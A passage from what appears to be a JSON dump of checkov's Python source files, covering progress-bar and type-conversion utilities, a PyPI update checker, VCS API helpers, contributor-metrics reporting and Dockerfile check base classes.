    "content": "## SHOULD PASS: <Enter description>\n{{context}} \"{{supported_resource}}\" \"ckv_unittest_pass\" {\n    ## Your test here\n}\n\n## SHOULD FAIL: <Enter description>\n{{context}} \"{{supported_resource}}\" \"ckv_unittest_fail\" {\n    ## Your test here\n}\n"
  },
  {
    "path": "checkov/common/util/tqdm_utils.py",
    "content": "from __future__ import annotations\n\nimport os\nimport sys\nfrom typing import NoReturn\n\nfrom colorama import Fore\nfrom tqdm import tqdm\n\nfrom checkov.common.util.type_forcers import convert_str_to_bool\n\nDEFAULT_BAR_FORMAT = f'{{l_bar}}{Fore.WHITE}{{bar:20}}{Fore.RESET}|[{{n_fmt}}/{{total_fmt}}]{{postfix}}'\nLOGS_ENABLED = os.getenv('LOG_LEVEL', False)\nRUN_IN_DOCKER = convert_str_to_bool(os.getenv(\"RUN_IN_DOCKER\", \"False\"))\n\n\nclass ProgressBar:\n    def __init__(self, framework: str) -> None:\n        self.pbar: tqdm[NoReturn] | None = None\n        self.framework = framework\n        self.is_off = not self.should_show_progress_bar()\n\n    def initiate(self, total: int) -> None:\n        if total <= 0:\n            self.is_off = True\n\n        if self.is_off:\n            return\n\n        if self.pbar is not None:\n            self.pbar.reset(total)\n        else:\n            self.pbar = tqdm(total=total,\n                             bar_format=DEFAULT_BAR_FORMAT,\n                             desc=f'[ {self.framework} framework ]')\n\n    def update(self, value: int = 1) -> None:\n        if self.is_off:\n            return\n        if not self.pbar:\n            raise AttributeError('Progress bar was not initiated, cannot update')\n\n        self.pbar.update(value)\n\n    def set_description(self, desc: str) -> None:\n        if self.is_off:\n            return\n        if not self.pbar:\n            raise AttributeError('Progress bar was not initiated, cannot set description')\n\n        self.pbar.set_description(desc=desc)\n\n    def close(self) -> None:\n        if self.is_off:\n            return\n        if not self.pbar:\n            raise AttributeError('Progress bar was not initiated, cannot close')\n\n        self.pbar.close()\n\n    def set_additional_data(self, data: dict[str, str]) -> None:\n        if self.is_off:\n            return\n        if not self.pbar:\n            raise AttributeError('Progress bar was not initiated, cannot set additional data')\n\n        self.pbar.set_postfix(data)\n\n    def turn_off_progress_bar(self) -> None:\n        self.is_off = True\n\n    @staticmethod\n    def should_show_progress_bar() -> bool:\n        # making sure sys.__stdout__ is not None, but still need the type:ignore\n        if all([not LOGS_ENABLED, not RUN_IN_DOCKER, sys.__stdout__, sys.__stdout__.isatty()]):  # type:ignore[union-attr]\n            return True\n        return False\n"
  },
  {
    "path": "checkov/common/util/type_forcers.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport typing\nfrom json import JSONDecodeError\nfrom typing import TypeVar, overload, Any, Tuple, List, Optional\n\nimport yaml\n\nT = TypeVar(\"T\")\n\n\n@overload\ndef force_list(var: list[T]) -> list[T]:\n    ...\n\n\n@overload\ndef force_list(var: T) -> list[T]:\n    ...\n\n\ndef force_list(var: T | list[T]) -> list[T]:\n    if not isinstance(var, list):\n        return [var]\n    return var\n\n\ndef force_int(var: Any) -> int | None:\n    try:\n        if not isinstance(var, int):\n            return int(var)\n        return var\n    except Exception:\n        return None\n\n\ndef force_float(var: Any) -> float | None:\n    try:\n        if not isinstance(var, float):\n            return float(var)\n        return var\n    except Exception:\n        return None\n\n\ndef convert_str_to_optional_bool(s: Optional[bool | str]) -> Optional[bool]:\n    if s is None or (isinstance(s, str) and not s):\n        return None\n    return convert_str_to_bool(s)\n\n\ndef convert_str_to_bool(bool_str: bool | str) -> bool:\n    if isinstance(bool_str, str):\n        bool_str_lower = bool_str.lower()\n        if bool_str_lower in (\"true\", '\"true\"'):\n            return True\n        elif bool_str_lower in (\"false\", '\"false\"'):\n            return False\n\n    # If we got here it must be a boolean, mypy doesn't understand it, so we use cast\n    return typing.cast(bool, bool_str)\n\n\ndef force_dict(obj: Any) -> dict[str, Any] | None:\n    \"\"\"\n    If the specified object is a dict, returns the object. If the specified object is a list or a tuple\n    of length 1 or more, force_dict is called recursively on the first element. Else returns None.\n    :param obj:\n    :return:\n    \"\"\"\n    if isinstance(obj, dict):\n        return obj\n    if (isinstance(obj, list) or isinstance(obj, tuple)) and len(obj) > 0:\n        return force_dict(obj[0])\n    return None\n\n\ndef is_json(data: str) -> bool:\n    try:\n        parsed = json.loads(data)\n        return isinstance(parsed, dict)\n    except (TypeError, ValueError):\n        logging.debug(f\"could not parse json data: {data}\")\n        return False\n\n\ndef is_yaml(data: str) -> bool:\n    try:\n        parsed = yaml.safe_load(data)\n        return isinstance(parsed, dict)\n    except yaml.YAMLError:\n        logging.debug(f\"could not parse yaml data: {data}\")\n        return False\n\n\ndef extract_policy_dict(policy: Any) -> dict[str, Any] | None:\n    if isinstance(policy, dict):\n        return policy\n    if isinstance(policy, str):\n        try:\n            policy_dict: dict[str, Any] = json.loads(policy)\n            return policy_dict\n        except JSONDecodeError:\n            return None\n\n    return None\n\n\ndef extract_json(json_str: Any) -> dict[str, Any] | list[dict[str, Any]] | None:\n    \"\"\"Tries to return a json object from a possible string value\"\"\"\n\n    if isinstance(json_str, list):\n        return json_str\n\n    return extract_policy_dict(json_str)\n\n\ndef convert_csv_string_arg_to_list(csv_string_arg: list[str] | str | None) -> list[str]:\n    \"\"\"\n    Converts list type arguments that also support comma delimited strings into a list.\n    For instance the --check flag in the CLI:\n        checkov -c CKV_1,CKV2\n        will translate to ['CKV_1', 'CKV_2']\n    :param csv_string_arg: Comma delimited string\n    :return: List of strings or empty list\n    \"\"\"\n    if csv_string_arg is None:\n        return []\n    if isinstance(csv_string_arg, str):\n        return csv_string_arg.split(',')\n    elif isinstance(csv_string_arg, list) and len(csv_string_arg) == 1:\n        return csv_string_arg[0].split(',')\n    else:\n        return csv_string_arg\n\n\ndef convert_prisma_policy_filter_to_params(filter_string: str) -> List[Tuple[str, str]]:\n    \"\"\"\n    Converts the filter string to a list of tuples. For example:\n    'policy.label=label,cloud.type=aws' becomes -->\n    [('policy.label', 'label1'), ('cloud.type', 'aws')]\n\n    Multiple values for the same attribute, like policy.label, will be separate items in the tuple. For example,\n    'policy.label=label,policy.label=anotherlabel' becomes -->\n    [('policy.label', 'label1'), ('policy.label', 'anotherlabel')]\n\n    Note that the urllib3 library seems to work best with tuples only (not lists), so this result may need to be converted.\n    It is returned as a list so that it can be modified separately, and converted to a tuple only when ready\n    \"\"\"\n    filter_params: List[Tuple[str, str]] = []\n    if isinstance(filter_string, str) and filter_string:\n        for f in filter_string.split(','):\n            try:\n                f_name, f_value = f.split('=')\n                filter_params.append((f_name.strip(), f_value.strip()))\n            except (IndexError, ValueError) as e:\n                logging.debug(f\"Invalid filter format: {e}\")\n\n    return filter_params\n"
  },
  {
    "path": "checkov/common/util/update_checker/__init__.py",
    "content": "\"\"\"\n======\nupdate-checker\n======\n\ncode from:\nhttps://github.com/bboe/update_checker\npackage:\nhttps://pypi.org/project/update-checker/\n\nPublic resources from ``update-checker``\n\"\"\"\n\nfrom checkov.common.util.update_checker.update_checker import UpdateChecker\n\n__all__ = (\"UpdateChecker\",)\n"
  },
  {
    "path": "checkov/common/util/update_checker/update_checker.py",
    "content": "\"\"\"Module that checks if there is an updated version of a package available.\"\"\"\nfrom __future__ import annotations\n\nimport os\nimport pickle  # nosec\nimport re\nfrom collections.abc import Generator, Callable\nfrom typing import Any\n\nimport requests\nimport sys\nimport time\nfrom datetime import datetime\nfrom functools import wraps\nfrom tempfile import gettempdir\n\n\ndef cache_results(\n    function: Callable[[UpdateChecker, str, str], UpdateResult | None]\n) -> Callable[[UpdateChecker, str, str], UpdateResult | None]:\n    \"\"\"Return decorated function that caches the results.\"\"\"\n\n    def save_to_permacache() -> None:\n        \"\"\"Save the in-memory cache data to the permacache.\n\n        There is a race condition here between two processes updating at the\n        same time. It's perfectly acceptable to lose and/or corrupt the\n        permacache information as each process's in-memory cache will remain\n        in-tact.\n\n        \"\"\"\n        update_from_permacache()\n        try:\n            if filename is None:\n                return\n\n            with open(filename, \"wb\") as fp:\n                pickle.dump(cache, fp, pickle.HIGHEST_PROTOCOL)\n        except IOError:\n            pass  # Ignore permacache saving exceptions\n\n    def update_from_permacache() -> None:\n        \"\"\"Attempt to update newer items from the permacache.\"\"\"\n        try:\n            if filename is None:\n                return\n\n            with open(filename, \"rb\") as fp:\n                permacache = pickle.load(fp)  # nosec\n        except Exception:  # TODO: Handle specific exceptions\n            return  # It's okay if it cannot load\n        for key, value in permacache.items():\n            if key not in cache or value[0] > cache[key][0]:\n                cache[key] = value\n\n    cache: dict[tuple[str, str], tuple[float, UpdateResult | None]] = {}\n    cache_expire_time = 3600\n    try:\n        filename = os.path.join(gettempdir(), \"update_checker_cache.pkl\")\n        update_from_permacache()\n    except NotImplementedError:\n        filename = None\n\n    @wraps(function)\n    def wrapped(obj: UpdateChecker, package_name: str, package_version: str, **extra_data: Any) -> UpdateResult | None:\n        \"\"\"Return cached results if available.\"\"\"\n        now = time.time()\n        key = (package_name, package_version)\n        if not obj._bypass_cache and key in cache:  # Check the in-memory cache\n            cache_time, retval = cache[key]\n            if now - cache_time < cache_expire_time:\n                return retval\n        retval = function(obj, package_name, package_version, **extra_data)\n        cache[key] = now, retval\n        if filename:\n            save_to_permacache()\n        return retval\n\n    return wrapped\n\n\ndef query_pypi(package: str, include_prereleases: bool) -> dict[str, Any]:\n    \"\"\"Return information about the current version of package.\"\"\"\n    try:\n        response = requests.get(f\"https://pypi.org/pypi/{package}/json\", timeout=1)\n    except requests.exceptions.RequestException:\n        return {\"success\": False}\n    if response.status_code != 200:\n        return {\"success\": False}\n    data = response.json()\n    versions = list(data[\"releases\"].keys())\n    versions.sort(key=parse_version, reverse=True)\n\n    version = versions[0]\n    for tmp_version in versions:\n        if include_prereleases or standard_release(tmp_version):\n            version = tmp_version\n            break\n\n    upload_time = None\n    for file_info in data[\"releases\"][version]:\n        if file_info[\"upload_time\"]:\n            upload_time = file_info[\"upload_time\"]\n            break\n\n    return {\"success\": True, \"data\": {\"upload_time\": upload_time, \"version\": version}}\n\n\ndef standard_release(version: str) -> bool:\n    return version.replace(\".\", \"\").isdigit()\n\n\n# This class must be defined before UpdateChecker in order to unpickle objects\n# of this type\nclass UpdateResult:\n    \"\"\"Contains the information for a package that has an update.\"\"\"\n\n    def __init__(self, package: str, running: str, available: str, release_date: str | None) -> None:\n        \"\"\"Initialize an UpdateResult instance.\"\"\"\n        self.available_version = available\n        self.package_name = package\n        self.running_version = running\n        if release_date:\n            self.release_date: datetime | None = datetime.strptime(release_date, \"%Y-%m-%dT%H:%M:%S\")\n        else:\n            self.release_date = None\n\n    def __str__(self) -> str:\n        \"\"\"Return a printable UpdateResult string.\"\"\"\n        retval = f\"Version {self.running_version} of {self.package_name} is outdated. Version {self.available_version} \"\n        if self.release_date:\n            retval += f\"was released {pretty_date(self.release_date)}.\"\n        else:\n            retval += \"is available.\"\n        return retval\n\n\nclass UpdateChecker:\n    \"\"\"A class to check for package updates.\"\"\"\n\n    def __init__(self, *, bypass_cache: bool = False) -> None:\n        self._bypass_cache = bypass_cache\n\n    @cache_results\n    def check(self, package_name: str, package_version: str) -> UpdateResult | None:\n        \"\"\"Return a UpdateResult object if there is a newer version.\"\"\"\n\n        data = query_pypi(package_name, include_prereleases=not standard_release(package_version))\n\n        if not data.get(\"success\") or (parse_version(package_version) >= parse_version(data[\"data\"][\"version\"])):\n            return None\n\n        return UpdateResult(\n            package_name,\n            running=package_version,\n            available=data[\"data\"][\"version\"],\n            release_date=data[\"data\"][\"upload_time\"],\n        )\n\n\ndef pretty_date(the_datetime: datetime) -> str:\n    \"\"\"Attempt to return a human-readable time delta string.\"\"\"\n    # Source modified from\n    # http://stackoverflow.com/a/5164027/176978\n    diff = datetime.utcnow() - the_datetime\n    if diff.days > 7 or diff.days < 0:\n        return the_datetime.strftime(\"%A %B %d, %Y\")\n    elif diff.days == 1:\n        return \"1 day ago\"\n    elif diff.days > 1:\n        return f\"{diff.days} days ago\"\n    elif diff.seconds <= 1:\n        return \"just now\"\n    elif diff.seconds < 60:\n        return f\"{diff.seconds} seconds ago\"\n    elif diff.seconds < 120:\n        return \"1 minute ago\"\n    elif diff.seconds < 3600:\n        return f\"{int(round(diff.seconds / 60))} minutes ago\"\n    elif diff.seconds < 7200:\n        return \"1 hour ago\"\n    else:\n        return f\"{int(round(diff.seconds / 3600))} hours ago\"\n\n\ndef update_check(package_name: str, package_version: str, bypass_cache: bool = False) -> None:\n    \"\"\"Convenience method that outputs to stderr if an update is available.\"\"\"\n    checker = UpdateChecker(bypass_cache=bypass_cache)\n    result = checker.check(package_name, package_version)\n    if result:\n        print(result, file=sys.stderr)\n\n\n# The following section of code is taken from setuptools pkg_resources.py (PSF\n# license). Unfortunately importing pkg_resources to directly use the\n# parse_version function results in some undesired side effects.\n\ncomponent_re = re.compile(r\"(\\d+ | [a-z]+ | \\.| -)\", re.VERBOSE)\nreplace = {\"pre\": \"c\", \"preview\": \"c\", \"-\": \"final-\", \"rc\": \"c\", \"dev\": \"@\"}.get\n\n\ndef _parse_version_parts(s: str) -> Generator[str, None, None]:\n    for part in component_re.split(s):\n        part = replace(part, part)\n        if not part or part == \".\":\n            continue\n        if part[:1] in \"0123456789\":\n            yield part.zfill(8)  # pad for numeric comparison\n        else:\n            yield \"*\" + part\n\n    yield \"*final\"  # ensure that alpha/beta/candidate are before final\n\n\ndef parse_version(s: str) -> tuple[str, ...]:\n    \"\"\"Convert a version string to a chronologically-sortable key.\n\n    This is a rough cross between distutils' StrictVersion and LooseVersion;\n    if you give it versions that would work with StrictVersion, then it behaves\n    the same; otherwise it acts like a slightly-smarter LooseVersion. It is\n    *possible* to create pathological version coding schemes that will fool\n    this parser, but they should be very rare in practice.\n\n    The returned value will be a tuple of strings.  Numeric portions of the\n    version are padded to 8 digits so they will compare numerically, but\n    without relying on how numbers compare relative to strings.  Dots are\n    dropped, but dashes are retained.  Trailing zeros between alpha segments\n    or dashes are suppressed, so that e.g. \"2.4.0\" is considered the same as\n    \"2.4\". Alphanumeric parts are lower-cased.\n\n    The algorithm assumes that strings like \"-\" and any alpha string that\n    alphabetically follows \"final\"  represents a \"patch level\".  So, \"2.4-1\"\n    is assumed to be a branch or patch of \"2.4\", and therefore \"2.4.1\" is\n    considered newer than \"2.4-1\", which in turn is newer than \"2.4\".\n\n    Strings like \"a\", \"b\", \"c\", \"alpha\", \"beta\", \"candidate\" and so on (that\n    come before \"final\" alphabetically) are assumed to be pre-release versions,\n    so that the version \"2.4\" is considered newer than \"2.4a1\".\n\n    Finally, to handle miscellaneous cases, the strings \"pre\", \"preview\", and\n    \"rc\" are treated as if they were \"c\", i.e. as though they were release\n    candidates, and therefore are not as new as a version string that does not\n    contain them, and \"dev\" is replaced with an '@' so that it sorts lower than\n    than any other pre-release tag.\n\n    \"\"\"\n    parts: list[str] = []\n    for part in _parse_version_parts(s.lower()):\n        if part.startswith(\"*\"):\n            if part < \"*final\":  # remove '-' before a prerelease tag\n                while parts and parts[-1] == \"*final-\":\n                    parts.pop()\n            # remove trailing zeros from each series of numeric parts\n            while parts and parts[-1] == \"00000000\":\n                parts.pop()\n        parts.append(part)\n    return tuple(parts)\n"
  },
  {
    "path": "checkov/common/util/var_utils.py",
    "content": "import re\nfrom typing import Any\n\nfrom checkov.common.util.parser_utils import find_var_blocks\n\nTF_OPERATOR_PREFIXES = (\"lookup(\", \"list(\", \"file(\")\n\nCFN_VARIABLE_DEPENDANT_REGEX = re.compile(r\"(?:Ref)\\.\\S+\")\nTF_BLOCK_REFS = (\"var.\", \"local.\", \"module.\", \"data.\")\nTF_PROVIDER_PREFIXES = (\n    \"aws_\",\n    \"azurerm_\",\n    \"azuread_\",\n    \"digitalocean_\",\n    \"google_\",\n    \"github_\",\n    \"kubernetes_\",\n    \"linode_\",\n    \"oci_\",\n    \"openstack_\",\n    \"yandex_\",\n)\n\n\ndef is_terraform_variable_dependent(value: Any) -> bool:\n    if not isinstance(value, str):\n        return False\n\n    if value.startswith(TF_BLOCK_REFS):\n        return True\n\n    if value.startswith(TF_PROVIDER_PREFIXES):\n        return True\n\n    if value.startswith(TF_OPERATOR_PREFIXES):\n        return True\n\n    if \"${\" not in value:\n        return False\n\n    if find_var_blocks(value):\n        return True\n    return False\n\n\ndef is_cloudformation_variable_dependent(value: Any) -> bool:\n    if isinstance(value, str) and re.match(CFN_VARIABLE_DEPENDANT_REGEX, value):\n        return True\n    return False\n"
  },
  {
    "path": "checkov/common/variables/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/variables/context.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass, field\nfrom typing import Any\n\n\n@dataclass\nclass VarReference:\n    definition_name: str               # Example: 'region'\n    definition_expression: str         # Example: '${var.region}'\n    definition_path: str               # Example: 'resource/0/aws_s3_bucket/foo-bucket/region/0'\n\n    # Make the object subscriptable for backwards compatibility to when a simple dict was used\n    def __getitem__(self, item: str) -> str:\n        if not isinstance(item, str):\n            raise TypeError(\"Item key must be a str\")\n\n        if item == \"definition_name\":\n            return self.definition_name\n        if item == \"definition_expression\":\n            return self.definition_expression\n        if item == \"definition_path\":\n            return self.definition_path\n\n        raise KeyError(f\"Unknown key: {item}\")\n\n\n@dataclass\nclass EvaluationContext:\n    var_file: str                     # File the variable was defined in (e.g., '/tf/example.tf'\n    value: Any = None                 # Example: 'us-east-1'\n    definitions: list[VarReference] = field(default_factory=list)\n\n    # Make the object subscriptable for backwards compatibility to when a simple dict was used\n    def __getitem__(self, item: str) -> Any:\n        if not isinstance(item, str):\n            raise TypeError(\"Item key must be a str\")\n\n        if item == \"var_file\":\n            return self.var_file\n        if item == \"value\":\n            return self.value\n        if item == \"definitions\":\n            return self.definitions\n\n        raise KeyError(f\"Unknown key: {item}\")\n"
  },
  {
    "path": "checkov/common/vcs/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/vcs/base_vcs_dal.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nfrom abc import abstractmethod\nfrom pathlib import Path\nfrom typing import Any\n\nimport urllib3\n\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.http_utils import get_user_agent_header, REQUEST_CONNECT_TIMEOUT, REQUEST_READ_TIMEOUT, REQUEST_RETRIES\n\n\nclass BaseVCSDAL:\n    def __init__(self) -> None:\n        self.api_url = \"\"\n        self.graphql_api_url = \"\"\n        self.token = \"\"  # nosec\n        self.current_repository = \"\"\n        self.current_branch = \"\"\n        self.repo_owner = \"\"\n        self.org = \"\"\n        self.default_branch_cache: dict[str, Any] = {}\n\n        self.request_lib_http = None\n        self._organization_security = None\n        self.org_complementary_metadata: dict[str, Any] = {}\n        self.repo_complementary_metadata: dict[str, Any] = {}\n        self.http: urllib3.PoolManager | None = None\n        self.http_timeout = urllib3.Timeout(connect=REQUEST_CONNECT_TIMEOUT, read=REQUEST_READ_TIMEOUT)\n        self.http_retry = urllib3.Retry(REQUEST_RETRIES, redirect=3)\n        self.discover()\n        self.setup_conf_dir()\n\n    @abstractmethod\n    def discover(self) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov. usually from env variable\n        \"\"\"\n        self.default_branch_cache = {}\n\n    def setup_http_manager(self, ca_certificate: str | None = None) -> None:\n        \"\"\"\n        bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library.\n        :param ca_certificate: an optional CA bundle to be used by both libraries.\n        \"\"\"\n        if self.http:\n            return\n        if ca_certificate:\n            os.environ['REQUESTS_CA_BUNDLE'] = ca_certificate\n            try:\n                parsed_url = urllib3.util.parse_url(os.environ['https_proxy'])\n                self.http = urllib3.ProxyManager(\n                    os.environ['https_proxy'],\n                    cert_reqs='REQUIRED',\n                    ca_certs=ca_certificate,\n                    proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth),  # type:ignore[no-untyped-call]\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n            except KeyError:\n                self.http = urllib3.PoolManager(\n                    cert_reqs='REQUIRED',\n                    ca_certs=ca_certificate,\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n        else:\n            try:\n                parsed_url = urllib3.util.parse_url(os.environ['https_proxy'])\n                self.http = urllib3.ProxyManager(\n                    os.environ['https_proxy'],\n                    proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth),  # type:ignore[no-untyped-call]\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n            except KeyError:\n                self.http = urllib3.PoolManager(timeout=self.http_timeout, retries=self.http_retry)\n\n    def _request(self, endpoint: str, allowed_status_codes: list[int]) -> dict[str, Any] | None:\n        if allowed_status_codes is None:\n            allowed_status_codes = [200]\n        if not self.token:\n            return None\n        url_endpoint = f\"{self.api_url}/{endpoint}\"\n        try:\n            headers = self._headers()\n            self.setup_http_manager(ca_certificate=os.getenv('BC_CA_BUNDLE', None))\n            if self.http:\n                request = self.http.request(\"GET\", url_endpoint, headers=headers)  # type:ignore[no-untyped-call]\n                if request.status in allowed_status_codes:\n                    data: dict[str, Any] = json.loads(request.data.decode(\"utf8\"))\n                    if isinstance(data, dict) and 'errors' in data.keys():\n                        return None\n                    return data\n        except Exception:\n            logging.debug(f\"Query failed to run by returning code of {url_endpoint}\", exc_info=True)\n        return None\n\n    @abstractmethod\n    def _headers(self) -> dict[str, Any]:\n        return merge_dicts({\"Accept\": \"application/vnd.github.v3+json\",\n                            \"Authorization\": f\"token {self.token}\"}, get_user_agent_header())\n\n    def _graphql_headers(self) -> dict[str, str]:\n        return {\"Authorization\": f\"bearer {self.token}\"}\n\n    def _request_graphql(self, query: str, variables: dict[str, Any]) -> Any:\n        if not self.token:\n            return\n        headers = self._graphql_headers()\n\n        body = json.dumps({'query': query, 'variables': variables})\n        try:\n            self.setup_http_manager(ca_certificate=os.getenv('BC_CA_BUNDLE', None))\n            if self.http:\n                request = self.http.request(\"POST\", self.graphql_api_url, body=body, headers=headers)  # type:ignore[no-untyped-call]\n                if request.status == 200:\n                    data = json.loads(request.data.decode(\"utf8\"))\n                    if isinstance(data, dict) and 'errors' in data.keys():\n                        logging.debug(\"received errors %s\", data)\n                        return None\n                    return data\n                else:\n                    logging.debug(\"Query failed to run by returning code of {}. {}\".format(request.data, query))\n        except Exception:\n            logging.debug(f\"Query failed {query}\", exc_info=True)\n\n    @staticmethod\n    def persist(path: str | Path, conf: dict[str, Any] | list[dict[str, Any]]) -> None:\n        BaseVCSDAL.ensure_dir(path)\n        with open(path, \"w+\", encoding='utf-8') as f:\n            logging.debug(f\"Persisting to {path}\")\n            json.dump(conf, f, ensure_ascii=False, indent=4)\n\n    @staticmethod\n    def ensure_dir(file_path: str | Path) -> None:\n        if not os.path.exists(file_path):\n            directory_path = os.path.dirname(file_path)\n            if not os.path.exists(directory_path):\n                os.makedirs(directory_path)\n\n    @abstractmethod\n    def setup_conf_dir(self) -> None:\n        pass\n"
  },
  {
    "path": "checkov/common/vcs/vcs_schema.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any\n\nimport jsonschema\nfrom jsonschema import validate\n\n\nclass VCSSchema():\n    def __init__(self, schema: dict[str, Any]) -> None:\n        self.schema = schema\n\n    def validate(self, data: dict[str, Any] | list[dict[str, Any]]) -> bool:\n        try:\n            validate(instance=data, schema=self.schema)\n        except jsonschema.exceptions.ValidationError:\n            logging.debug(\"validation error\", exc_info=True)\n            return False\n        return True\n"
  },
  {
    "path": "checkov/common/version_manager.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.util.update_checker import UpdateChecker\n\n\ndef check_for_update(package: str, version: str, skip_check: bool) -> str | None:\n    if skip_check:\n        return None\n\n    try:\n        checker = UpdateChecker()\n        result = checker.check(package, version)\n        if result is None:\n            return None\n\n        return result.available_version\n    except Exception:  # nosec\n        return None\n"
  },
  {
    "path": "checkov/contributor_metrics.py",
    "content": "from __future__ import annotations\n\nimport datetime\nimport logging\nimport json\nimport subprocess  # nosec\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.http_utils import request_wrapper\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom typing import Any\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef report_contributor_metrics(repository: str, source: str,\n                               bc_integration: BcPlatformIntegration) -> None:  # ignore: type\n    logging.debug(f\"Attempting to get log history for repository {repository} under source {source}\")\n    request_body = parse_gitlog(repository, source)\n    number_of_attempts = 1\n    contributors_report_api_url = f\"{bc_integration.api_url}/api/v2/contributors/report\"\n    if request_body:\n        while number_of_attempts <= 4:\n            logging.debug(f'Uploading contributor metrics to {contributors_report_api_url}')\n            response = request_wrapper(\n                \"POST\", contributors_report_api_url,\n                headers=bc_integration.get_default_headers(\"POST\"), data=json.dumps(request_body)\n            )\n            logging.debug(f'Request ID: {response.headers.get(\"x-amzn-requestid\")}')\n            logging.debug(f'Trace ID: {response.headers.get(\"x-amzn-trace-id\")}')\n            if response.status_code < 300:\n                logging.debug(\n                    f\"Successfully uploaded contributor metrics with status: {response.status_code}. number of attempts: {number_of_attempts}\")\n                break\n            else:\n                contributors_report_api_url = f\"{bc_integration.api_url}/api/v1/contributors/report\"\n                failed_attempt = {\n                    'message': f\"Failed to upload contributor metrics with: {response.status_code} - {response.reason}. number of attempts: {number_of_attempts}\",\n                    'timestamp': str(datetime.datetime.now())}\n                request_body['failedAttempts'].append(failed_attempt)\n                logging.info(f\"Failed to upload contributor metrics with: {response.status_code} - {response.reason}\")\n                number_of_attempts += 1\n\n\ndef parse_gitlog(repository: str, source: str) -> dict[str, Any] | None:\n    process = subprocess.Popen(['git', 'shortlog', '-ne', '--all', '--since', '\"90 days ago\"', '--pretty=commit-%ct', '--reverse'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # nosec\n    out, err = process.communicate()\n    if err:\n        logger.info(f\"Failed to collect contributor metrics due to: {err}\")  # type: ignore\n        return {\"repository\": repository, \"source\": source,\n                \"contributors\": [],\n                \"failedAttempts\": [{\n                    'message': f\"Failed to collect contributor metrics due to: {err}\",  # type: ignore\n                    'timestamp': str(datetime.datetime.now())}]\n                }\n    # split per contributor\n    list_of_contributors = out.decode('utf-8').split('\\n\\n')\n    return {\"repository\": repository, \"source\": source,\n            \"contributors\": list(map(lambda contributor: process_contributor(contributor),\n                                     list(filter(lambda x: x, list_of_contributors))\n                                     )),\n            \"failedAttempts\": []\n            }\n\n\ndef process_contributor(contributor: str) -> str:\n    splittedList = contributor.split('\\n')\n    user = splittedList[0]\n    commit = splittedList[1]\n    return user[:user.find('(')] + commit[commit.find('-') + 1:]\n"
  },
  {
    "path": "checkov/dockerfile/__init__.py",
    "content": "from checkov.dockerfile.checks import *  # noqa\n"
  },
  {
    "path": "checkov/dockerfile/base_dockerfile_check.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.dockerfile.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories\n    from dockerfile_parse.parser import _Instruction\n\n\nclass BaseDockerfileCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_instructions: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_instructions,\n            block_type=\"dockerfile\",\n            guideline=guideline,\n        )\n        self.supported_instructions = supported_instructions\n        registry.register(self)\n\n    def scan_entity_conf(  # type:ignore[override]  # it's ok\n        self, conf: list[_Instruction], entity_type: str\n    ) -> tuple[CheckResult, list[_Instruction] | None]:\n        self.entity_type = entity_type\n\n        return self.scan_resource_conf(conf)\n\n    def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]:\n        # this is not an abstractmethod to be backward compatible\n        return CheckResult.PASSED, None\n"
  },
  {
    "path": "checkov/dockerfile/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any, cast\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.models.enums import CheckResult\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.typing import _SkippedCheck, _CheckResult\n    from checkov.runner_filter import RunnerFilter\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(CheckType.DOCKERFILE)\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        # not needed\n        return \"\", \"\", {}\n\n    def scan(\n        self,\n        scanned_file: str,\n        entity: dict[str, list[_Instruction]],\n        skipped_checks: list[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        report_type: str | None = None,\n    ) -> dict[BaseCheck, _CheckResult]:\n\n        results: \"dict[BaseCheck, _CheckResult]\" = {}\n        if not entity:\n            return results\n\n        skipped_check_ids = {skipped_check[\"id\"]: skipped_check for skipped_check in skipped_checks}\n\n        for instruction, checks in self.checks.items():\n            if instruction in entity:\n                for check in checks:\n                    skip_info: \"_SkippedCheck\" = {}\n                    if skipped_check_ids:\n                        if check.id in skipped_check_ids:\n                            skip_info = skipped_check_ids[check.id]\n\n                    if runner_filter.should_run_check(check, report_type=CheckType.DOCKERFILE):\n                        self.update_result(\n                            check=check,\n                            entity_configuration=entity[instruction],\n                            entity_name=instruction,\n                            entity_type=instruction,\n                            results=results,\n                            scanned_file=scanned_file,\n                            skip_info=skip_info,\n                        )\n\n        for check in self.wildcard_checks[\"*\"]:\n            skip_info = 